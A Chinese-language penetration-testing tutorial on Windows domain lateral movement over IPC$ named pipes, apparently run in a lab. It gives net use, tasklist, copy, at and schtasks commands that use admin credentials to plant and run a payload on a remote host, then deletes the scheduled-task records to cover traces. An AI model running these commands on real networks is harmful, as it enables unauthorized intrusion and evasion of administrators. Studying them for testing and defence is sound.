IPC命名管道攻击
介绍
域内横向移动技术是在复杂的内网攻击中被广泛使用的一种技术,尤其是高级持续威胁(APT)攻击中。攻击者会利用该技术,以攻陷的系统为跳板,访问其他域内主机,扩大资产范围,其中也包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产。
通过这种手段,攻击者最终可能获取域控的访问权限,甚至完全控制基于Windows操作系统的基础设施和业务相关的关键账户。因此,必须使用强口令来保护特权用户不被用于横向移动攻击,从而避免域内其他机器沦陷。建议管理员定期修改密码,从而使攻击者获取的权限失效。
前言
在渗透测试中,拿到目标计算机的用户明文密码或者NTLM Hash
后,可以通过Pass The Hash
的方法,将散列值或明文密码传送到目标机器中进行验证。与目标机器建立连接后,可以使用远程命令对Windows主机进行相关操作。在实际网络环境中,网络管理人员可以通过配置Windows系统自带的防火墙或组策略进行防御。
IPC
IPC共享"命名管道"的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
通过ipc$
,可以与目标机器建立连接。利用这个连接,不仅可以访问目标计算机机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
ipc$的利用条件
- 开启了139、445端口。ipc$可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。
- 管理员开启了默认共享。默认共享是为了方便管理员进行远程管理而默认开启的,包括
c$、d$、e$等
和系统目录winnt或admin$。
ipc$连接失败的原因
- 用户名或密码错误
- 目标没有打开ipc$默认共享
- 不能成功连接目标的139、445端口
- 命令输入错误
常见错误号
-
5
:拒绝访问 -
51
:Windows无法找到网络路径,即网络中存在问题 -
53
:找不到网络路径,包括IP地址错误、目标未开机、目标的lanmanserver服务未启动、目标有防火墙,端口被过滤。 -
67
:找不到网络名,包括lanmanworkstation服务未启动、ipc$已被删除 -
1219
:提供的凭据与已存在的凭据集冲突。 -
1326
:位置的用户名或错误的密码。 -
1792
:试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动 -
2242
:此用户的密码已经过期
获取远程主机信息
首先我们得先建立命名管道
net use \\要建立连接的IP地址\ipc$ "账户密码" /user:对应用户名
net use
查看对应磁盘的信息
dir \\192.168.108.101\c$
使用tasklist命令的/S、/U、/P参数列出远程主机上运行的进程
tasklist /S 192.168.108.101 /U administrator /P Admin12345
计划任务
at是Windows自带的用于创建计划任务的命令,它主要工作在Windows Server2008之前版本中,创建计划任务的流程大致如下:
- 使用net time命令确定远程机器当前的系统时间
- 使用copy命令将payload文件复制到远程目标机器中
- 使用at命令定时启动该payload文件
- 删除使用at命令创建计划任务的记录
- tips:因为域用户受到权限的限制,要执行相关操作必须是本地管理员才可以
查看目标系统时间
将文件复制到目标系统中
copy calc.bat \\192.168.108.103\C$
使用at创建计划任务
获取系统的当前时间的目的就是让目标系统在指定时间运行一个程序
at \\192.168.108.103 16:11 C:\calc.bat
可以看到在指定的时间后台开启了计算器这个进程
清除at记录
计划任务不会删除自己本身,因此网络管理员可以通过攻击者创建的计划任务判断自己是否遭到了攻击
at \\192.168.108.103 1 /delete
我们使用at远程执行命令后,可以将结果写入本地文本文件中,再使用type命令读取该文本内容
at \\192.168.108.103 16:20 cmd.exe /c "ipconfig >C:/1.txt"
at命令在Windows2008之后就被废除,改用为schtasks这个命令,这命令更加灵活,我们来看看它的使用方法
我们现在在远程主机上创建一个名称为test
的计划任务,设置为开机启动,启动C盘的calc.bat
文件,权限为Administrator
。意外发现建立了ipc后还是要输入用户名和密码,要不然会提示拒绝访问
schtasks /create /s 192.168.108.101 /tn test /sc onstart /tr c:\calc.bat /u administrator /p aDmin12345 /f
执行计划任务
schtasks /run /s 192.168.108.101 /i /tn "test" /u administrator /p aDmin12345
最后我们删除这个计划任务
schtasks /delete /s 192.168.108.101 /tn "test" /f /u administrator /p aDmin12345
最后我们删除这个ipc命名管道,在删除时要确认是自己创建的命名管道
net use \\192.168.108.101\ipc$ /del /y